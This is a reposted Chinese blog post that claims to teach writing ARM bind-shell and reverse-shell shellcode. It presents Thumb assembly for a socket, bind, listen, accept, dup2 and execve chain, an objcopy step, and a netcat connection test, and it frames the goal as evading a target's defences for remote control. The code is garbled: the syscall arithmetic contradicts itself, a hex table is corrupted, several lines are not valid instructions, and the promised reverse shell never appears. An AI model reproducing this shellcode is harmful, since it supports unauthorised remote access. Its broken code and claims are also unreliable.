本文共 2507 字,大约阅读时间需要 8 分钟。
学习如何编写实现bind shell和reverse shell的shellcode是一项复杂但极具挑战性的任务,涉及到深入的操作系统知识以及汇编语言的编写。以下是通过实际操作和对技术细节的深入分析,逐步阐述实现bind shell和reverse shell的解法。
.THUMBmov r0, #2mov r1, #1sub r2, r2, r2mov r7, #200add r7, #1add r7, #2svc ; 200不是281发生混淆?
注意事项:
;这是一个简化的bind shell汇编代码.NeatHexFormat TWOTABS│亭字节顺序的表格 0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... 2: 02 FF 0A 01 5C 01 01 00 01 01 00 01 01 00 3: ............ ......... 4: ............ ......... ...受支持的指令在两个字节的跨度内会有特殊的行为。; 在代码入口处进行初始化_start:.ARMadd r3, pc, #1bx r3;切换到Thumb模式; socket调用mov r0, #2; r0 = AF_INETmov r1, #1; r1 = SOCK_STREAMsub r2, r2, r2; r2 = 0mov r7, #281; 281是socket的系统调用号add r7, #81; r7 = 281 + 81 = 362 ?; loudness; 绑定socket到本地地址和端口adr r1, struct_addrstrb r2, [r1, #1]; 写入AF_INT 0xff,变成null byte; 替换1.1.1.1 IP地址到0.0.0.0strb r2, [r1, #4]; 替换端口号4444到0mov r2, #16add r7, #1; r7 = 281 + 1 = 282svcmov r4, r0 ;保存host_sockid;监听阶段mov r0, r4mov r1, #2add r7, #2; r7 = 282 + 2 = 284svc; 接受连接mov r0, r4sub r1, r1, r1sub r2, r2, r2add r7, #1svcmov r4, r0; 处理输入输出重定向dup2 client_sockid, 0; ...dup2 client_sockid, 1dup2 client_sockid, 2;派生shell溢出 r2, [r0, #0]mov r7, #11svc
objcopy -o .text -O binary bind_shell.bin
nc localhost 4444
连接测试-输入命令如whoami
查看是否成功编写有效的bind和reverse shell shellcode不仅需要深入了解系统调用的工作原理,还需要对汇编语言有深入的掌握,同时需要对内存管理和缓冲区操作有深入的了解。在实际操作中,还需要测试每一步是否正确,以确保最终的shellcode能够成功绕过目标机器的安全措施,实现远程控制。
转载地址:http://oiegz.baihongyu.com/